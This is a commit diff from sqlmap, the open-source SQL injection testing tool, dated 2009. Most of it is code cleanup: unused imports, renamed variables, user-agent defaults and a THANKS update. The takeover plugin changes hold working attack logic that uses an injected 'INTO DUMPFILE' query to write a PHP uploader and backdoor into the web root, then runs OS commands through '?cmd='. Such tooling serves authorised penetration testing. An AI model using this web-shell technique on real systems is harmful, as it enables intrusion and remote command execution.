Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed).

Minor common library code refactoring.
Code cleanup.
Set back the default User-Agent to sqlmap for comparison algorithm reasons.
Updated THANKS.
This commit is contained in:
Bernardo Damele 2009-04-27 23:05:11 +00:00
parent 5121a4dcba
commit 16b4530bbe
35 changed files with 158 additions and 201 deletions

View File

@ -27,6 +27,9 @@ Pierre Chifflier <pollux@debian.org>
for uploading the sqlmap 0.6.2 Debian package to the official Debian
project repository
Ulises U. Cune <ulises2k@gmail.com>
for reporting a bug
Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features
@ -80,6 +83,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs
Nicolas Krassas <krasn@ans.gr>
for reporting a bug
Guido Landi <lists@keamera.org>
for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005

View File

@ -64,7 +64,7 @@ class Magic:
try:
magic_close(self.cookie)
except Exception, e:
print "got thig: ", e
print "got this:", e
_magic_mime = None

View File

@ -27,7 +27,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time
from lib.controller.action import action
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
@ -295,9 +294,9 @@ def checkStability():
infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True)
firstPage, _ = Request.queryPage(content=True)
time.sleep(1)
secondPage, secondHeaders = Request.queryPage(content=True)
secondPage, _ = Request.queryPage(content=True)
condition = firstPage == secondPage

View File

@ -36,7 +36,6 @@ from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection
from lib.core.target import createTargetDirs
@ -105,7 +104,6 @@ def start():
logger.info(infoMsg)
hostCount = 0
receivedCookies = []
cookieStr = ""
setCookieAsInjectable = True

View File

@ -33,7 +33,6 @@ from lib.core.data import kb
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent:

View File

@ -141,9 +141,9 @@ def formatDBMSfp(versions=None):
def formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
strJoin = "|".join([v for v in values])
return string.replace("|", chain)
return strJoin.replace("|", chain)
def formatFingerprint(target, info):
@ -224,73 +224,91 @@ def getHtmlErrorFp():
def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None
if kb.absFilePaths:
logMsg = "retrieved the possible injectable "
logMsg += "file absolute system paths: "
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
if kb.os == "Windows":
defaultDocRoot = "C:\\Inetput\\wwwroot\\"
else:
warnMsg = "unable to retrieve the injectable file "
warnMsg += "absolute system path"
logger.warn(warnMsg)
defaultDocRoot = "/var/www/"
if kb.absFilePaths:
for absFilePath in kb.absFilePaths:
if conf.path in absFilePath:
absFilePathWin = None
if re.search("([\w]\:[\/\\\\]+)", absFilePath):
absFilePathWin = absFilePath
absFilePath = absFilePath[2:].replace("\\", "/")
absFilePath = os.path.normpath(absFilePath)
if os.path.dirname(conf.path) in absFilePath:
index = absFilePath.index(conf.path)
docRoot = absFilePath[:index]
if absFilePathWin:
docRoot = "C:\\%s" % docRoot.replace("/", "\\")
break
if docRoot:
logMsg = "retrieved the remote web server "
logMsg += "document root: '%s'" % docRoot
logger.info(logMsg)
infoMsg = "retrieved the web server document root: '%s'" % docRoot
logger.info(infoMsg)
else:
warnMsg = "unable to retrieve the remote web server "
warnMsg += "document root"
warnMsg = "unable to retrieve the web server document root"
logger.warn(warnMsg)
message = "please provide the web server document root "
message += "[%s]: " % defaultDocRoot
inputDocRoot = readInput(message, default=defaultDocRoot)
if inputDocRoot:
docRoot = inputDocRoot
else:
docRoot = defaultDocRoot
return docRoot
def getDirectories():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
def getDirs():
directories = set()
kb.docRoot = getDocRoot()
if kb.os == "Windows":
defaultDir = "C:\\Inetput\\wwwroot\\test\\"
else:
defaultDir = "/var/www/test/"
if kb.docRoot:
directories.add(kb.docRoot)
if kb.absFilePaths:
infoMsg = "retrieved web server full paths: "
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(infoMsg)
pagePath = re.search("^/(.*)/", conf.path)
for absFilePath in kb.absFilePaths:
directories.add(os.path.dirname(absFilePath))
else:
warnMsg = "unable to retrieve any web server path"
logger.warn(warnMsg)
if kb.docRoot and pagePath:
pagePath = pagePath.groups()[0]
message = "please provide any additional web server full path to try "
message += "to upload the agent [%s]: " % defaultDir
inputDirs = readInput(message, default=defaultDir)
directories.add("%s/%s" % (kb.docRoot, pagePath))
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add(defaultDir)
return directories
def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_")
strRepl = filePath.replace("/", "_").replace("\\", "_")
strRepl = strRepl.replace(" ", "_").replace(":", "_")
return string
return strRepl
def dataToStdout(data):
@ -326,18 +344,18 @@ def dataToOutFile(data):
return rFilePath
def strToHex(string):
def strToHex(inpStr):
"""
@param string: string to be converted into its hexadecimal value.
@type string: C{str}
@param inpStr: inpStr to be converted into its hexadecimal value.
@type inpStr: C{str}
@return: the hexadecimal converted string.
@return: the hexadecimal converted inpStr.
@rtype: C{str}
"""
hexStr = ""
for character in string:
for character in inpStr:
if character == "\n":
character = " "
@ -457,17 +475,17 @@ def randomStr(length=5, lowercase=False):
return rndStr
def sanitizeStr(string):
def sanitizeStr(inpStr):
"""
@param string: string to sanitize: cast to str datatype and replace
@param inpStr: inpStr to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns.
@type string: C{str}
@type inpStr: C{str}
@return: sanitized string
@return: sanitized inpStr
@rtype: C{str}
"""
cleanString = str(string)
cleanString = str(inpStr)
cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString
@ -483,8 +501,8 @@ def checkFile(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(string):
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
def replaceNewlineTabs(inpStr):
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString

View File

@ -23,13 +23,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
try:
from hashlib import md5
from hashlib import sha
except ImportError, _:
import md5
import sha
import md5
import sha
import struct
import urllib

View File

@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION
from lib.core.settings import VERSION

View File

@ -31,8 +31,6 @@ import logging
import os
import re
import socket
import sys
import time
import urllib2
import urlparse
@ -42,8 +40,6 @@ from lib.core.common import getFileType
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import sanitizeStr
from lib.core.data import conf
from lib.core.data import kb
@ -60,8 +56,10 @@ from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PLATFORM
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS
from lib.core.settings import VERSION_STRING
from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.queriesfile import queriesParser
@ -600,9 +598,14 @@ def __defaultHTTPUserAgent():
@rtype: C{str}
"""
return "%s (%s)" % (VERSION_STRING, SITE)
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
# updated at March 2009
return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def __setHTTPUserAgent():

View File

@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import logging
import os
import sys

View File

@ -73,8 +73,8 @@ class CompleterNG(rlcompleter.Completer):
matches = []
n = len(text)
for list in [ self.namespace ]:
for word in list:
for ns in [ self.namespace ]:
for word in ns:
if word[:n] == text:
matches.append(word)

View File

@ -25,17 +25,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re
import time
from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl
from lib.core.common import readInput
from lib.core.convert import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException

View File

@ -205,7 +205,7 @@ def __createFile(pathname, data):
fileFP.close()
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
def __extractZipFile(tempDir, zipFile):
# Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile)
@ -285,13 +285,13 @@ def __updateSqlmap():
tempDir = tempfile.gettempdir()
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString)
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
__extractZipFile(tempDir, zipFile)
# For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release
if '.svn' in root:
continue

View File

@ -29,7 +29,6 @@ import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler):

View File

@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from xml.sax import parse
from lib.core.common import checkFile

View File

@ -28,7 +28,6 @@ import re
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
@ -73,7 +72,10 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
for absFilePathRegExp in absFilePathsRegExp:
absFilePaths = re.findall(absFilePathRegExp, page, re.I)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:

View File

@ -26,7 +26,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from lib.core.convert import md5hash
from lib.core.data import conf
from lib.core.data import logger
from lib.core.session import setMatchRatio

View File

@ -33,7 +33,6 @@ from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger

View File

@ -29,6 +29,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell

View File

@ -24,11 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDEP

View File

@ -135,14 +135,14 @@ class Metasploit:
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
os = "windows"
opSys = "windows"
else:
os = "linux"
opSys = "linux"
message = "which %s do you want to use?" % msg
if lst:
for num, data in lst[os].items():
for num, data in lst[opSys].items():
description = data[0]
if num > maxValue:
@ -174,7 +174,7 @@ class Metasploit:
choice = int(choice)
if lst:
choice = lst[os][choice][1]
choice = lst[opSys][choice][1]
return choice

View File

@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import sys
import time
from subprocess import PIPE

View File

@ -177,6 +177,7 @@ def __unionTestByNULLBruteforce(comment):
def __unionTestByOrderBy(comment):
columns = None
value = None
prevPayload = ""
for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count)

View File

@ -29,14 +29,11 @@ import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest

View File

@ -32,7 +32,6 @@ from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
class Google:
@ -84,9 +83,9 @@ class Google:
try:
conn = self.opener.open("http://www.google.com/ncr")
headers = conn.info()
_ = conn.info()
except urllib2.HTTPError, e:
headers = e.info()
_ = e.info()
except urllib2.URLError, e:
errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg

View File

@ -28,15 +28,11 @@ import os
import time
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@ -521,7 +515,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
wFilePointer.close()
if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
chunkName = self.updateBinChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))

View File

@ -28,7 +28,6 @@ import os
import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
@ -49,7 +48,6 @@ from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem

View File

@ -34,6 +34,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS

View File

@ -48,7 +48,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@ -302,8 +301,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
def stackedReadFile(self, rFile):
# TODO: write a UDF to retrieve the hexadecimal encoded content of
# the requested file
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved"

View File

@ -39,7 +39,6 @@ from lib.core.data import temp
from lib.core.dump import dumper
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS
@ -47,7 +46,6 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
@ -1098,7 +1096,6 @@ class Enumeration:
def sqlQuery(self, query):
output = None
selectQuery = True
sqlType = None
query = urlencode(query, convall=True)
@ -1108,9 +1105,6 @@ class Enumeration:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
if sqlTitle != "SQL SELECT statement":
selectQuery = False
break
message = "do you want to retrieve the SQL statement output? "

View File

@ -31,10 +31,8 @@ from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
@ -215,7 +213,7 @@ class Filesystem:
return fcEncodedList
def updateBinChunk(self, binaryData, dFile, tmpPath):
def updateBinChunk(self, binaryData, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system

View File

@ -33,7 +33,7 @@ class Fingerprint:
"""
@staticmethod
def unescape(expression):
def unescape(expression, quote=True):
errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg

View File

@ -24,12 +24,15 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re
from lib.core.common import getDirectories
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@ -59,13 +62,12 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
"""
TODO: complete review of this code is needed
"""
output = None
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
@ -79,8 +81,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
def __webBackdoorOsShell(self):
"""
TODO: complete review of this code is needed
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
@ -95,42 +95,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
infoMsg = "retrieving web application directories"
logger.info(infoMsg)
self.checkDbmsOs()
directories = getDirectories()
if directories:
infoMsg = "retrieved web server directories "
infoMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(infoMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
kb.docRoot = getDocRoot()
directories = getDirs()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
@ -139,18 +107,25 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
directories.sort()
uploaded = False
# TODO: backdoor and uploader extensions must be the same as of
# the web application language in use
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
if kb.os == "Windows":
sep = "\\\\"
else:
sep = "/"
for directory in directories:
if uploaded:
break
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory, sep, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(" %s" % query)
@ -158,14 +133,13 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
requestDir = directory.replace(kb.docRoot, "/").replace("\\", "/")
requestDir = os.path.normpath(requestDir)
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
uploaderUrl = os.path.normpath(uploaderUrl)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page: